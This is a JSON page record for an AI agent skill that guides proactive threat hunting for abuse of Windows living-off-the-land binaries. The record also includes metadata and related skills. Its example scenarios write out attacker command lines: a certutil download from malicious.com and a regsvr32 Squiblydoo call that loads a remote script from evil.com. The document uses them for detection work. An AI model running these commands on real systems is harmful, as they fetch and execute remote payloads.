[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GY2JEPN52B1SWXCGTSVF53":3,"skill-same:01M6GY2JEPN52B1SWXCGTSVF53":103},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":53,"install":54,"resources":67},"01M6GY2JEPN52B1SWXCGTSVF53","hunting-for-living-off-the-land-binaries",null,"Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunting","land","hunting for living off the land binaries","defense-evasion","proactive","hunt","threat","payloads","execute","system","evasion","malicious","defense","edr","detection","proactive-detection","threat-hunting","mitre-attack","siem","cybersecurity","2026-11-10 10:12:30",false,"---\nname: hunting-for-living-off-the-land-binaries\ndescription: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags: [threat-hunting, mitre-attack, lolbins, edr, siem, proactive-detection, defense-evasion]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n","# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n",{"name":5,"tags":43,"author":45,"domain":37,"license":14,"version":46,"subdomain":34,"description":7},[34,35,44,31,36,33,21],"lolbins","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add micsapp\u002Fmicstec-skills --skill hunting-for-living-off-the-land-binaries",{"tool":60,"command":61},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill hunting-for-living-off-the-land-binaries",{"tool":63,"command":64},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill hunting-for-living-off-the-land-binaries","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",true,[68,74,79,85,89,93,99],{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"assets\u002Ftemplate.md","ASSET","资产文件",3740,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Fassets\u002Ftemplate.md",{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002FLICENSE",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"references\u002Fapi-reference.md","REFERENCE","参考文档",1958,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fapi-reference.md",{"path":86,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fstandards.md",3135,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fstandards.md",{"path":90,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fworkflows.md",4551,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fworkflows.md",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fagent.py","SCRIPT","脚本",6474,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Fscripts\u002Fagent.py",{"path":100,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":101,"sourceHtmlUrl":102},"scripts\u002Fprocess.py",19407,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fhunting-for-living-off-the-land-binaries\u002Fscripts\u002Fprocess.py",[104,142,172,193,213,238],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":121,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[111,116],{"categoryNo":112,"categoryName":113,"taxonomyType":114,"taxonomyTypeDesc":115},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":117,"categoryName":118,"taxonomyType":119,"taxonomyTypeDesc":120},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":156,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[148,149,152,155],{"categoryNo":112,"categoryName":113,"taxonomyType":114,"taxonomyTypeDesc":115},{"categoryNo":150,"categoryName":151,"taxonomyType":114,"taxonomyTypeDesc":115},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":153,"categoryName":154,"taxonomyType":114,"taxonomyTypeDesc":115},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":117,"categoryName":118,"taxonomyType":119,"taxonomyTypeDesc":120},[157,158,159,160,123,161,162,163,164,165,166,167,131,132,138,168,169,139,170,171],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":179,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[178],{"categoryNo":112,"categoryName":113,"taxonomyType":114,"taxonomyTypeDesc":115},[180,181,182,183,123,126,131,132,184,185,186,187,188,189,190,139,191,192,171,141],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":197,"categories":198,"keywords":201,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[199,200],{"categoryNo":112,"categoryName":113,"taxonomyType":114,"taxonomyTypeDesc":115},{"categoryNo":117,"categoryName":118,"taxonomyType":119,"taxonomyTypeDesc":120},[202,183,203,131,187,204,123,157,205,206,207,208,132,209,139,210,211,212,140,141],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":219,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[220,221,222,159,223,224,225,226,131,227,228,229,230,231,232,233,234,235,236,237],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":244,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[240,245,246,247,248,249,250,185,251,252],"npm","js","calculate","node","math","user","compute","errors"]